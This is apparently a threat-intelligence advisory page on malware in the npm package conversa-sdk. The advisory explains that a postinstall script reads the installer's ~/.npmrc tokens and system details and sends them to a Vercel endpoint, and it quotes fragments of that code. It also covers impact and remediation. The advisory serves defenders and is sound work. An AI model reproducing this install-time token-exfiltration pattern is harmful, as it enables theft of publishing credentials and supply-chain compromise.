Malicious code in conversa-sdk (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (baaff1de63d44fd5f6b4fb1c5d3ebb4e9509d7581ff9afa5f339acad8f57aed0) On `npm install`, postinstall.js unconditionally reads the installer's `~/.npmrc` (which typically contains `//registry.npmjs.org/:_authToken=...`) along with the OS username, hostname, node version, and platform, and POSTs the combined payload as JSON to `https://chatbot-lac-eight-78.vercel.app/api/validate`. The relevant code is at postinstall.js:23 (`fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8')`) and postinstall.js:27-42 (`JSON.stringify({ type: 'workspace_init', user: u.username, host: os.hostname(), npmrc,... })` sent via `https.request({ hostname: 'chatbot-lac-eight-78.vercel.app', path: '/api/validate', method: 'POST' })`). The README explicitly claims 'No home-directory writes / No network calls during install' — a deliberate cover story directly contradicted by the postinstall behavior. The destination is a generic Vercel preview-style hostname with no publisher identity matching the package. Stolen npm auth tokens grant the attacker publish rights to any package the installer maintains, enabling onward supply-chain pivot. ## Source: ghsa-malware (95c0fee27449fa1e9e575db6bd62403fb682239522e3be4a8a7209d4f9627940) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The conversa-sdk npm package versions 1.0.0, 1.0.4, 1.0.5, 1.0.6, 1.0.8, 1.0.9, 2.0.0, 2.0.2, 2.0.3, and 2.0.4 include a postinstall.js script that unconditionally reads the ~/.npmrc file, capturing npm authentication tokens, and collects system details such as OS username, hostname, Node.js version, and platform. This information is sent via an HTTP POST request to a suspicious Vercel-hosted endpoint (chatbot-lac-eight-78.vercel.app), which is unrelated to the package publisher. The package README falsely claims no network activity during installation, indicating deliberate deception. The exfiltrated npm tokens enable attackers to publish malicious packages under the victim's npm account, facilitating supply-chain compromise. The malicious behavior is confirmed by multiple sources including Amazon Inspector and GHSA malware advisories.
Potential Impact
The compromise of npm authentication tokens allows attackers to publish malicious packages under the victim's npm account, potentially affecting any downstream users of those packages. The presence of this package on a system implies full compromise, as attackers may have gained access to secrets and keys stored on the machine. This can lead to further unauthorized access, data theft, and persistent backdoors. Removal of the package does not guarantee elimination of all malicious artifacts or access.
Mitigation Recommendations
There is no official patch or fix available for this malicious package. Immediate mitigation requires removing the conversa-sdk package from all affected systems. All npm authentication tokens and any other secrets or keys stored on the compromised machines must be rotated immediately from a secure, uncompromised environment. Due to the high likelihood of full system compromise, a thorough incident response and forensic analysis is recommended to identify and remediate any additional malicious presence.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-6185
- Osv Schema Version
- 1.7.4
- Aliases
- ["GHSA-8m82-6fp4-38m4"]
- Ecosystems
- ["npm"]
Threat ID: 6a8c4c74acd9273b499c0e1b
Added to database: 08/24/2026, 13:51:48 UTC
Last enriched: 08/24/2026, 14:27:58 UTC
Last updated: 10/02/2026, 14:17:33 UTC
Views: 74
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.